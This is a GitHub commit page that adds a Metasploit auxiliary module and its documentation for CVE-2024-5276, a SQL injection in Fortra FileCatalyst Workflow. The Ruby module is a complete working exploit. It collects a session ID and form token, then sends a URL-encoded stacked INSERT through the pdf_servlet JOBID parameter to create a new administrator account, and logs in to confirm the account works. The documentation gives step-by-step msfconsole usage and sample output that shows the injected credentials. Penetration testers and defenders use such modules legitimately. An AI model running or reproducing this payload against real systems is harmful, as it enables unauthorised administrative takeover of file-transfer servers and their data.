-
Notifications
You must be signed in to change notification settings - Fork 14.1k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #19373, Fortra FileCatalyst Workflow SQL Injection
- Loading branch information
Showing
2 changed files
with
340 additions
and
0 deletions.
There are no files selected for viewing
72 changes: 72 additions & 0 deletions
72
documentation/modules/auxiliary/admin/http/fortra_filecatalyst_workflow_sqli.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,72 @@ | ||
## Vulnerable Application | ||
|
||
This module exploits a SQL injection vulnerability in Fortra FileCatalyst Workflow <= v5.1.6 Build 135 (CVE-2024-5276), by adding a new | ||
administrative user to the web interface of the application. | ||
|
||
The vendor published an advisory [here] | ||
(https://support.fortra.com/filecatalyst/kb-articles/advisory-6-24-2024-filecatalyst-workflow-sql-injection-vulnerability-YmYwYWY4OTYtNTUzMi1lZjExLTg0MGEtNjA0NWJkMDg3MDA0) | ||
and [here](https://www.fortra.com/security/advisories/product-security/fi-2024-008). | ||
|
||
The advisory from Tenable is available [here](https://www.tenable.com/security/research/tra-2024-25). | ||
|
||
## Testing | ||
|
||
The software can be obtained from the [vendor](https://www.goanywhere.com/products/filecatalyst/trial). | ||
|
||
Deploy it by following the vendor's [installation guide] | ||
(https://filecatalyst.software/public/filecatalyst/Workflow/5.1.6.139/FileCatalyst_Web_Tomcat_Installation.pdf). | ||
|
||
**Successfully tested on** | ||
|
||
- Fortra FileCatalyst Workflow v5.1.6 (Build 135) on Windows 10 22H2 | ||
- Fortra FileCatalyst Workflow v5.1.6 (Build 135) on Ubuntu 24.04 LTS | ||
|
||
## Verification Steps | ||
|
||
1. Deploy Fortra FileCatalyst Workflow <= v5.1.6 Build 135 | ||
2. Start `msfconsole` | ||
3. `use auxiliary/admin/http/fortra_filecatalyst_workflow_sqli` | ||
4. `set RHOSTS <IP>` | ||
5. `set RPORT <PORT>` | ||
6. `set TARGETURI <URI>` | ||
7. `set NEW_USERNAME <username>` | ||
8. `set NEW_PASSWORD <password>` | ||
9. `run` | ||
10. A new admin user should have been successfully added. | ||
|
||
## Options | ||
|
||
### NEW_USERNAME | ||
Username to be used when creating a new user with admin privileges. | ||
|
||
### NEW_PASSWORD | ||
Password to be used when creating a new user with admin privileges. | ||
|
||
### NEW_EMAIL | ||
E-mail to be used when creating a new user with admin privileges. | ||
|
||
## Scenarios | ||
|
||
Running the module against FileCatalyst Workflow v5.1.6 (Build 135) on either Windows 10 22H2 or Ubuntu 24.04 LTS should result in an output | ||
similar to the following: | ||
|
||
``` | ||
msf6 auxiliary(admin/http/fortra_filecatalyst_workflow_sqli) > run | ||
[*] Running module against 192.168.137.195 | ||
[*] Starting SQL injection workflow... | ||
[+] Server reachable. | ||
[*] JSESSIONID value: CBD945F52F91E0F4354296C939BDABDE | ||
[*] FCWEB.FORM.TOKEN value: IvHIPuxllBiHOfXzLlaS | ||
[*] Redirect #1: /workflow/createNewJob.do?.rnd2=3324035&FCWEB.FORM.TOKEN=IvHIPuxllBiHOfXzLlaS | ||
[*] Redirect #2: /workflow/jsp/chooseOrderForm.jsp?.rnd2=3324040&FCWEB.FORM.TOKEN=IvHIPuxllBiHOfXzLlaS | ||
[*] Received expected response. | ||
[+] SQL injection successful! | ||
[*] Confirming credentials... | ||
[*] FCWEB.FORM.TOKEN value: IvHIPuxllBiHOfXzLlaS | ||
[+] Login successful! | ||
[+] New admin user was successfully injected: | ||
elroy:yodTwsPs | ||
[+] Login at: http://192.168.137.195:8080/workflow/jsp/logon.jsp | ||
[*] Auxiliary module execution completed | ||
``` |
268 changes: 268 additions & 0 deletions
268
modules/auxiliary/admin/http/fortra_filecatalyst_workflow_sqli.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,268 @@ | ||
require 'digest/md5' | ||
|
||
class MetasploitModule < Msf::Auxiliary | ||
include Msf::Exploit::Remote::HttpClient | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'Fortra FileCatalyst Workflow SQL Injection (CVE-2024-5276)', | ||
'Description' => %q{ | ||
This module exploits a SQL injection vulnerability in Fortra FileCatalyst Workflow <= v5.1.6 Build 135, by adding a new | ||
administrative user to the web interface of the application. | ||
}, | ||
'Author' => [ | ||
'Tenable', # Discovery and PoC | ||
'Michael Heinzl' # MSF Module | ||
], | ||
'References' => [ | ||
['CVE', '2024-5276'], | ||
['URL', 'https://www.tenable.com/security/research/tra-2024-25'], | ||
['URL', 'https://support.fortra.com/filecatalyst/kb-articles/advisory-6-24-2024-filecatalyst-workflow-sql-injection-vulnerability-YmYwYWY4OTYtNTUzMi1lZjExLTg0MGEtNjA0NWJkMDg3MDA0'] | ||
], | ||
'DisclosureDate' => '2024-06-25', | ||
'DefaultOptions' => { | ||
'RPORT' => 8080 | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Notes' => { | ||
'Stability' => [CRASH_SAFE], | ||
'Reliability' => [REPEATABLE_SESSION], | ||
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES] | ||
} | ||
) | ||
) | ||
|
||
register_options([ | ||
OptString.new('TARGETURI', [true, 'Base path', '/']), | ||
OptString.new('NEW_USERNAME', [true, 'Username to be used when creating a new user with admin privileges', Faker::Internet.username]), | ||
OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alphanumeric(16)]), | ||
OptString.new('NEW_EMAIL', [true, 'E-mail to be used when creating a new user with admin privileges', Faker::Internet.email]) | ||
]) | ||
end | ||
|
||
def run | ||
print_status('Starting SQL injection workflow...') | ||
|
||
res = send_request_cgi( | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path, 'workflow/') | ||
) | ||
|
||
unless res | ||
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') | ||
end | ||
unless res.code == 200 | ||
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') | ||
end | ||
print_good('Server reachable.') | ||
|
||
raw_res = res.to_s | ||
unless raw_res =~ /JSESSIONID=(\w+);/ | ||
fail_with(Failure::UnexpectedReply, 'JSESSIONID not found.') | ||
end | ||
|
||
jsessionid = ::Regexp.last_match(1) | ||
print_status("JSESSIONID value: #{jsessionid}") | ||
|
||
res = send_request_cgi( | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path, "workflow/jsp/logon.jsp;jsessionid=#{jsessionid}"), | ||
'headers' => { | ||
'Cookie' => "JSESSIONID=#{jsessionid}" | ||
} | ||
) | ||
|
||
unless res | ||
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') | ||
end | ||
|
||
body = res.body | ||
unless body =~ /name="FCWEB\.FORM\.TOKEN" value="([^"]+)"/ | ||
fail_with(Failure::UnexpectedReply, 'FCWEB.FORM.TOKEN not found.') | ||
end | ||
|
||
token_value = ::Regexp.last_match(1) | ||
print_status("FCWEB.FORM.TOKEN value: #{token_value}") | ||
|
||
res = send_request_cgi( | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path, "workflow/logonAnonymous.do?FCWEB.FORM.TOKEN=#{token_value}"), | ||
'headers' => { | ||
'Cookie' => "JSESSIONID=#{jsessionid}" | ||
} | ||
) | ||
|
||
unless res | ||
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') | ||
end | ||
|
||
unless res.headers['Location'] | ||
fail_with(Failure::UnexpectedReply, 'Location header not found.') | ||
end | ||
|
||
location_value = res.headers['Location'] | ||
print_status("Redirect #1: #{location_value}") | ||
|
||
res = send_request_cgi( | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path, location_value.to_s), | ||
'headers' => { | ||
'Cookie' => "JSESSIONID=#{jsessionid}" | ||
} | ||
) | ||
|
||
unless res | ||
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') | ||
end | ||
|
||
unless res.headers['Location'] | ||
fail_with(Failure::UnexpectedReply, 'Location header not found.') | ||
end | ||
|
||
location_value = res.headers['Location'] | ||
print_status("Redirect #2: #{location_value}") | ||
|
||
res = send_request_cgi( | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path, location_value.to_s), | ||
'headers' => { | ||
'Cookie' => "JSESSIONID=#{jsessionid}" | ||
} | ||
) | ||
|
||
unless res | ||
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') | ||
end | ||
|
||
html = res.get_html_document | ||
h2_tag = html.at_css('h2') | ||
|
||
unless h2_tag | ||
fail_with(Failure::UnexpectedReply, 'h2 tag not found.') | ||
end | ||
|
||
h2_text = h2_tag.text.strip | ||
unless h2_text == 'Choose an Order Type' | ||
fail_with(Failure::UnexpectedReply, 'Unexpected string found inside h2 tag: ' + h2_text) | ||
end | ||
|
||
print_status('Received expected response.') | ||
|
||
t = Time.now | ||
username = datastore['NEW_USERNAME'] | ||
password = Digest::MD5.hexdigest(datastore['NEW_PASSWORD']).upcase | ||
email = datastore['NEW_EMAIL'] | ||
firstname = Faker::Name.first_name | ||
lastname = Faker::Name.last_name | ||
areacode = rand(100..999) | ||
exchangecode = rand(100..999) | ||
subscribernumber = rand(1000..9999) | ||
phone = format('(%<areacode>03d) %<exchangecode>03d-%<subscribernumber>04d', | ||
areacode: areacode, | ||
exchangecode: exchangecode, | ||
subscribernumber: subscribernumber) | ||
creation = "+#{t.strftime('%s%L')}" | ||
pw_creationdate = "+#{t.strftime('%s%L')}" | ||
lastlogin = "+#{t.strftime('%s%L')}" | ||
|
||
vprint_status('Adding New Admin User:') | ||
vprint_status("\tUsername: #{username}") | ||
vprint_status("\tPassword: #{datastore['NEW_PASSWORD']} (#{password})") | ||
vprint_status("\tEmail: #{email}") | ||
vprint_status("\tFirstName: #{firstname}") | ||
vprint_status("\tLastName: #{lastname}") | ||
vprint_status("\tPhone: #{phone}") | ||
vprint_status("\tCreation: #{creation}") | ||
vprint_status("\tPW_CreationDate: #{pw_creationdate}") | ||
vprint_status("\tLastLogin: #{lastlogin}") | ||
|
||
payload = '1%27%3BINSERT+INTO+DOCTERA_USERS+%28USERNAME%2C+PASSWORD%2C+ENCPASSWORD%2C+FIRSTNAME%2C+LASTNAME%2C+COMPANY%2C' \ | ||
'ADDRESS%2C+ADDRESS2%2C+CITY%2C+STATE%2C+ALTPHONE%2C+ZIP%2C+COUNTRY%2C+PHONE%2C+FAX%2C+EMAIL%2C+LASTLOGIN%2C' \ | ||
'CREATION%2C+PREFERREDSERVER%2C+CREDITCARDTYPE%2C+CREDITCARDNUMBER%2C+CREDITCARDEXPIRY%2C+ACCOUNTSTATUS%2C+USERTYPE%2C' \ | ||
'COMMENT%2C+ADMIN%2C+SUPERADMIN%2C+ACCEPTEMAIL%2C+ALLOWHOTFOLDER%2C+PROTOCOL%2C+BANDWIDTH%2C+DIRECTORY%2C+SLOWSTARTRATE%2C' \ | ||
'USESLOWSTART%2C+SLOWSTARTAGGRESSIONRATE%2C+BLOCKSIZE%2C+UNITSIZE%2C+NUMENCODERS%2C+NUMFTPSTREAMS%2C+ALLOWUSERBANDWIDTHTUNING%2C' \ | ||
'EXPIRYDATE%2C+ALLOWTEMPACCOUNTCREATION%2C+OWNERUSERNAME%2C+USERLEVEL%2C+UPLOADMETHOD%2C+PW_CHANGEABLE%2C+PW_CREATIONDATE%2C' \ | ||
"PW_DAYSBEFOREEXPIRE%2C+PW_MUSTCHANGE%2C+PW_USEDPASSWORDS%2C+PW_NUMERRORS%29+VALUES%28%27#{username}%27%2C+NULL%2C+" \ | ||
"%27#{password}%27%2C+%27#{firstname}%27%2C+%27#{lastname}%27%2C+%27%27%2C+" \ | ||
'%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27202-404-2400%27%2C+%27%27%2C+' \ | ||
"%27#{email}%27%2C#{lastlogin}%2C#{creation}%2C+%27default%27%2C+%27%27%2C+%27%27%2C+" \ | ||
'%27%27%2C+%27full+access%27%2C+%27%27%2C+%27%27%2C+1%2C+0%2C+0%2C+0%2C+%27DEFAULT%27%2C+%270%27%2C+0%2C+' \ | ||
'%270%27%2C+1%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+0%2C+0%2C+0%2C+%27%27%2C+0%2C+' \ | ||
"%27DEFAULT%27%2C+0%2C#{pw_creationdate}%2C+-1%2C+0%2C+NULL%2C+0%29%3B--+-" | ||
|
||
res = send_request_cgi( | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path, "workflow/servlet/pdf_servlet?JOBID=#{payload}"), | ||
'headers' => { | ||
'Cookie' => "JSESSIONID=#{jsessionid}" | ||
} | ||
) | ||
|
||
unless res | ||
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') | ||
end | ||
|
||
fail_with(Failure::UnexpectedReply, "Unexpected HTTP code from the target: #{res.code}") unless res.code == 200 | ||
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.body.to_s == '' | ||
print_good('SQL injection successful!') | ||
|
||
print_status('Confirming credentials...') | ||
|
||
res = send_request_cgi( | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path, 'workflow/jsp/logon.jsp'), | ||
'headers' => { | ||
'Cookie' => "JSESSIONID=#{jsessionid}" | ||
} | ||
) | ||
|
||
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res | ||
|
||
body = res.body | ||
unless body =~ /name="FCWEB\.FORM\.TOKEN" value="([^"]+)"/ | ||
fail_with(Failure::UnexpectedReply, 'FCWEB.FORM.TOKEN not found.') | ||
end | ||
|
||
token_value = ::Regexp.last_match(1) | ||
print_status("FCWEB.FORM.TOKEN value: #{token_value}") | ||
|
||
res = send_request_cgi( | ||
'method' => 'POST', | ||
'uri' => normalize_uri(target_uri.path, 'workflow/logon.do'), | ||
'headers' => { | ||
'Cookie' => "JSESSIONID=#{jsessionid}", | ||
'Content-Type' => 'application/x-www-form-urlencoded' | ||
}, | ||
'vars_post' => { | ||
'username' => datastore['NEW_USERNAME'], | ||
'password' => datastore['NEW_PASSWORD'], | ||
'FCWEB.FORM.TOKEN' => token_value.to_s, | ||
'submit' => 'Login' | ||
} | ||
) | ||
|
||
unless res | ||
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') | ||
end | ||
|
||
html = res.get_html_document | ||
title_block = html.at_css('.titleBlock') | ||
|
||
unless title_block | ||
fail_with(Failure::UnexpectedReply, 'Expected titleBlock not found.') | ||
end | ||
title_text = title_block.text.strip | ||
|
||
unless title_text.include?('Administration') | ||
fail_with(Failure::UnexpectedReply, 'Expected string "Administration" not found.') | ||
end | ||
store_valid_credential(user: datastore['NEW_USERNAME'], private: datastore['NEW_PASSWORD'], proof: html) | ||
print_good('Login successful!') | ||
|
||
print_good("New admin user was successfully injected:\n\t#{datastore['NEW_USERNAME']}:#{datastore['NEW_PASSWORD']}") | ||
print_good("Login at: #{full_uri(normalize_uri(target_uri, 'workflow/jsp/logon.jsp'))}") | ||
end | ||
|
||
end |